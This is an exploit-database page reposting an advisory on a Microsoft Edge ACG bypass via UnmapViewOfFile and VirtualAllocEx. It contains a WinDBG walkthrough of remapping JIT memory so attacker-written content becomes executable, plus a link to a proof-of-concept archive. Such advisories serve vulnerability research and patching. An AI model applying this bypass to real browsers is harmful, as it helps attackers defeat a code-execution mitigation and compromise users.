0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Edge - UnmapViewOfFile ACG Bypass Vulnerability
Background: To implement ACG (https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/#VM4y5oTSGCRde3sk.97), Edge uses a separate process for JIT compiling. This JIT Process is also responsible for mapping native code into the requesting Content Process. In order to be able to write JITted (executable) data into the Content Process, JIT Process does the following: 1. It creates a shared memory object using CreateFileMapping() 2. It maps it into Content Process as PAGE_EXECUTE_READ and in the JIT proces as PAGE_READWRITE using MapViewOfFile2(). At this point the memory is reserved, but not yet committed. 3. When individual pages need to be written to they are first allocated from the region in step 2 using VirtualAllocEx(). This also marks the memory as committed. The issue: If a content process is compromised and the content process can predict on which address JIT process is going to call VirtualAllocEx() next (note: it is fairly predictable), content process can: 1. Unmap the shared memory mapped above above using UnmapViewOfFile() 2. Allocate a writable memory region on the same address JIT server is going to write and write an soon-to-be-executable payload there. 3. When JIT process calls VirtualAllocEx(), even though the memory is already allocated, the call is going to succeed and the memory protection is going to be set to PAGE_EXECUTE_READ. Note #1: The content written in step 2 is going to survive the memory protection change. Note #2: JIT server is going to write the JITted payload into its own "side" of the shared memory, so the content in the Content Process is not going to get immediately overwritten. See the debug log below for a demonstration. Debug log: Let's attach one instance of WinDBG to JIT process and another to a Content Process. Let's also verify that ACG is indeed applied for the Content Process. We can do this using Get-ProcessMitigation PowerShell command. See the output in the screenshot (note the "BlockDynamicCode: ON" field). Now, in JIT Process, let's set a breakpoint on VirtualAllocEx() and wait. 0:020> bp kernelbase!virtualallocex 0:020> g Soon the breakpoint is hit. Breakpoint 0 hit KERNELBASE!VirtualAllocEx: 00007fff`5590e170 4883ec38 sub rsp,38h We can examine the call stack to see where we are - we see we are in the Encode phase of ServerRemoteCodeGen() which is a function that Content Process calls on the JIT server when it wants to JIT a function or a loop body. 0:011> k # Child-SP RetAddr Call Site 00 000000c2`48cfcfe8 00007fff`4dff3104 KERNELBASE!VirtualAllocEx 01 000000c2`48cfcff0 00007fff`38752dcd EShims!NS_ACGLockdownTelemetry::APIHook_VirtualAllocEx+0x14 02 000000c2`48cfd030 00007fff`38752a16 chakra!Memory::PreReservedSectionAllocWrapper::Alloc+0xd5 03 000000c2`48cfd0b0 00007fff`3875233e chakra!Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper>::AllocDecommitPages<BVStatic<272>,1>+0xea 04 000000c2`48cfd150 00007fff`38752464 chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::TryAllocDecommittedPages<1>+0x8e 05 000000c2`48cfd210 00007fff`38751e7a chakra!Memory::PageAllocatorBase<Memory::PreReservedSectionAllocWrapper,Memory::SegmentBase<Memory::PreReservedSectionAllocWrapper>,Memory::PageSegmentBase<Memory::PreReservedSectionAllocWrapper> >::SnailAllocPages<1>+0x4c 06 000000c2`48cfd2d0 00007fff`38751488 chakra!Memory::CustomHeap::CodePageAllocators<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocPages+0x72 07 000000c2`48cfd340 00007fff`38751210 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::AllocNewPage+0x68 08 000000c2`48cfd3c0 00007fff`38750e14 chakra!Memory::CustomHeap::Heap<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper>::Alloc+0x9c 09 000000c2`48cfd470 00007fff`38750cae chakra!EmitBufferManager<Memory::SectionAllocWrapper,Memory::PreReservedSectionAllocWrapper,CriticalSection>::NewAllocation+0x58 0a 000000c2`48cfd500 00007fff`388599dc chakra!JITOutput::RecordOOPNativeCodeSize+0x8e 0b 000000c2`48cfd590 00007fff`388a5506 chakra!Encoder::Encode+0x9dc 0c 000000c2`48cfd710 00007fff`389904e5 chakra!Func::TryCodegen+0x356 0d 000000c2`48cfdfb0 00007fff`3877c00e chakra!Func::Codegen+0xed 0e 000000c2`48cfe3e0 00007fff`3877be54 chakra!<lambda_869fb2da08ff617a0f58153cb1331989>::operator()+0x166 0f 000000c2`48cfe500 00007fff`3877bde2 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x54 10 000000c2`48cfe550 00007fff`3877bd85 chakra!ServerCallWrapper<<lambda_869fb2da08ff617a0f58153cb1331989> >+0x4e 11 000000c2`48cfe5c0 00007fff`57006d13 chakra!ServerRemoteCodeGen+0x75 12 000000c2`48cfe630 00007fff`57069390 RPCRT4!Invoke+0x73 13 000000c2`48cfe690 00007fff`56f93718 RPCRT4!Ndr64StubWorker+0xbb0 14 000000c2`48cfed40 00007fff`56fb73b4 RPCRT4!NdrServerCallNdr64+0x38 15 000000c2`48cfed90 00007fff`56fb654e RPCRT4!DispatchToStubInCNoAvrf+0x24 16 000000c2`48cfede0 00007fff`56fb6f84 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1be 17 000000c2`48cfeeb0 00007fff`56fc0693 RPCRT4!RPC_INTERFACE::DispatchToStubWithObject+0x154 18 000000c2`48cfef50 00007fff`56fc1396 RPCRT4!LRPC_SCALL::DispatchRequest+0x183 19 000000c2`48cff030 00007fff`56fbd11e RPCRT4!LRPC_SCALL::HandleRequest+0x996 1a 000000c2`48cff140 00007fff`56fbe843 RPCRT4!LRPC_ADDRESS::HandleRequest+0x34e 1b 000000c2`48cff1f0 00007fff`56fecc58 RPCRT4!LRPC_ADDRESS::ProcessIO+0x8a3 1c 000000c2`48cff330 00007fff`594665ae RPCRT4!LrpcIoComplete+0xd8 1d 000000c2`48cff3d0 00007fff`594aeed9 ntdll!TppAlpcpExecuteCallback+0x22e 1e 000000c2`48cff450 00007fff`5946471c ntdll!TppDirectExecuteCallback+0xb9 1f 000000c2`48cff4c0 00007fff`57ea1fe4 ntdll!TppWorkerThread+0x47c 20 000000c2`48cff850 00007fff`5949ef91 KERNEL32!BaseThreadInitThunk+0x14 21 000000c2`48cff880 00000000`00000000 ntdll!RtlUserThreadStart+0x21 If we examine the registers we see the second param is 000002854f18c000 - this is the address VirtualAllocEx() is attempting to allocate. 0:011> r rax=0000000040000010 rbx=000002854f18c000 rcx=0000000000000724 rdx=000002854f18c000 rsi=0000000000000008 rdi=0000024038924de0 rip=00007fff5590e170 rsp=000000c248cfcfe8 rbp=0000024038924fe8 r8=0000000000001000 r9=0000000000001000 r10=0000000000000001 r11=0000000000000007 r12=000002854f18c000 r13=0000000000000000 r14=000000000000000c r15=0000000000000000 Let's leave the JIT Process alone for a while and move into the Content Process. Let's examine the memory around address 000002854f18c000 using !vadump: BaseAddress: 000002854f100000 RegionSize: 0000000000017000 State: 00001000 MEM_COMMIT Protect: 00000010 PAGE_EXECUTE Type: 00040000 MEM_MAPPED BaseAddress: 000002854f117000 RegionSize: 0000000000001000 State: 00001000 MEM_COMMIT Protect: 00000001 PAGE_NOACCESS Type: 00040000 MEM_MAPPED BaseAddress: 000002854f118000 RegionSize: 0000000000074000 State: 00001000 MEM_COMMIT Protect: 00000010 PAGE_EXECUTE Type: 00040000 MEM_MAPPED BaseAddress: 000002854f18c000 RegionSize: 0000000000004000 State: 00002000 MEM_RESERVE Type: 00040000 MEM_MAPPED BaseAddress: 000002854f190000 RegionSize: 0000000000010000 State: 00001000 MEM_COMMIT Protect: 00000010 PAGE_EXECUTE Type: 00040000 MEM_MAPPED We see some executable memory regions starting from 000002854f100000 which happens to be the base address of the shared memory in the Content Process. Let's unmap it. 0:084> r rip=kernelbase!unmapviewoffile 0:084> r rcx=000002854f100000 After unmapping it, let's allocate the desired address and set it to PAGE_READWRITE so that we can write to it. 0:084> r rip=kernelbase!virtualalloc 0:084> r rcx=000002854f18c000 # desired address 0:084> r rdx=1000 # size 0:084> r r8=3000 # MEM_RESERVE | MEM_COMMIT 0:084> r r9=4 # PAGE_READWRITE After VirtualAlloc() finishes, we can see it returned 000002854f180000 0:084> r rax rax=000002854f180000 The returned address is a bit lower than the one we requested, but it doesn't matter since the allocated region is also going to be larger than we requested so it's going to cover the desired address. Let's take a look at the memory map again: BaseAddress: 000002854f100000 RegionSize: 0000000000080000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS BaseAddress: 000002854f180000 RegionSize: 000000000000d000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE BaseAddress: 000002854f18d000 RegionSize: 000000000ff73000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS We can see that at address 000002854f180000 there is a region of size 000000000000d000 that has PAGE_READWRITE access. Since we can now write to this address, let's do it: 0:084> ea 000002854f18c000 "ACG bypass" Now, let's go back to the JIT Server process and let VirtualAllocEx() finish. Once it does, let's go back into the Content Process and examine the memory again: BaseAddress: 000002854f100000 RegionSize: 0000000000080000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS BaseAddress: 000002854f180000 RegionSize: 000000000000c000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE BaseAddress: 000002854f18c000 RegionSize: 0000000000001000 State: 00001000 MEM_COMMIT Protect: 00000010 PAGE_EXECUTE Type: 00020000 MEM_PRIVATE BaseAddress: 000002854f18d000 RegionSize: 000000000ff73000 State: 00010000 MEM_FREE Protect: 00000001 PAGE_NOACCESS We can now see some changes, specifically at address 000002854f18c000 there is now an executable memory region (PAGE_EXECUTE). Now we just need to make sure the content we wrote earlier is still there. 0:084> da 000002854f18c000 00000285`4f18c000 "ACG bypass" That's it. We now have an executable page with the content we control, thus bypassing ACG. A screenshot of WinDBG showing this final step is attached. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44096.zip # 0day.today [2024-11-15] #